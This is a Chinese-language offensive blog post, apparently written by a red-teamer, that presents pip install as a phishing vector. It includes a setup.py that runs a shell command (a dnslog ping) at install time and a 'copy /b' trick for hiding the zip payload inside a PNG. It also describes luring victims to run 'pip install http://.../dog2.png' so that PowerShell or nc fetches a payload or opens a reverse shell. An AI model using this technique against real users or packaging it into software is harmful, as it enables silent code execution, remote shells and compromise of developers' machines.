钓鱼通常是内网渗透过程中的最为常见的入口方式,但是随着蓝队人员溯源反制思路开阔,入侵排查能力提升,钓鱼也越来越困难,这里就记一种不同寻常的钓鱼方式。
pip install 的执行流程:
- 先获取到远端的服务器地址 url 比如: http://mirrors.aliyun.com/pypi/simple/
- 然后获取到本地的库安装的路径,通过服务器 url 去查找对应的 django 包
- 讲找到的包下载到本地
- 解压该包到 python 的 site-packages 文件夹中,然后检查是否需要依赖其他包,如果依赖就安装其他的包
- 如果有依赖安装则按照同样的流程执行,待完成之后包就安装完成
这里可以看下 pip install 的执行过程
https://blog.csdn.net/qq_33339479/article/details/93094774
这里看下解压的代码,这里 down 下来解压代码如下
def unpack_file(filename: str,location: str,content_type: Optional[str] = None,
) -> None:filename = os.path.realpath(filename)if (content_type == "application/zip"or filename.lower().endswith(ZIP_EXTENSIONS)or zipfile.is_zipfile(filename)):unzip_file(filename, location, flatten=not filename.endswith(".whl"))elif (content_type == "application/x-gzip"or tarfile.is_tarfile(filename)or filename.lower().endswith(TAREXTENSIONS + BZ2EXTENSIONS + XZ_EXTENSIONS)):untar_file(filename, location)else:# FIXME: handle?# FIXME: magic signatures?logger.critical("Cannot unpack file %s (downloaded from %s, content-type: %s);""cannot detect archive format",filename,location,content_type,)raise InstallationError(f"Cannot determine archive format of {location}")
这里先判断了 content-type、filename 的后缀,这里两个都不符合,这里看下最后这个是如何进行判断。需要注意的是,iszipfile() 函数并不会检查文件的扩展名或者文件头等信息来判断文件类型,而是会尝试解压文件并检查解压结果来确定文件是否为 ZIP 压缩文件。因此,即使将非 ZIP 压缩格式的文件的扩展名改为 ".zip",仍然不能通过 iszipfile() 函数的检查。
pip install package_name.zip
这种方式下,pip 会在解压缩安装包后自动执行 setup.py 文件进行安装。在安装过程中,setup.py 文件将会根据包内的 setup.cfg 和 setup.py 文件内容来设置包的安装参数。
所以就导致了静默的命令执行
pip install 引发的命令执行
漏洞复现
(1)先写一段代码
from setuptools import setup
import osdef test():result = os.popen("ping 9uawvq.dnslog.cn")print(result.read())test()setup(name="root",version="1.0"
)
(2)把 setup.py 先放到一个任意文件夹中,然后再将文件夹压缩成 zip 文件,然后再将 zip 文件和 png 图片压缩成 png 图片。(具体命令如下)
(3)然后起一个 http 服务,下图就可以直接访问到。
(4)虚拟机(受害机)直接执行 pip install "http://172.211.55.3/dog2.png" 这里写的命令是 ping dnslog 地址。这里 dnslog 成功接收到。
引发的钓鱼:
假设是 windows 系统上钩,那么我们可以让他执行 powershell 或者 certutils 来进行远程下载并落地执行。这里还是用之前的方法写 powershell 不落地执行的投毒。
这里把 setup.py 改为上述的代码,然后放入到任意文件夹下,然后进行压缩成 1.zip 然后执行代码
copy /b dog.png+1.zip dog2.png
然后肉鸡执行 pip install "http://xxxxx/dog2.png" 即可成功上线。
直接上线 linux(简单实用 nc 命令)
这里修改 setup.py 为如下内容,然后按照复现步骤,将文件夹生成文件。
然后用 pip install "http://xxx/dog2.png" 即可成功上线。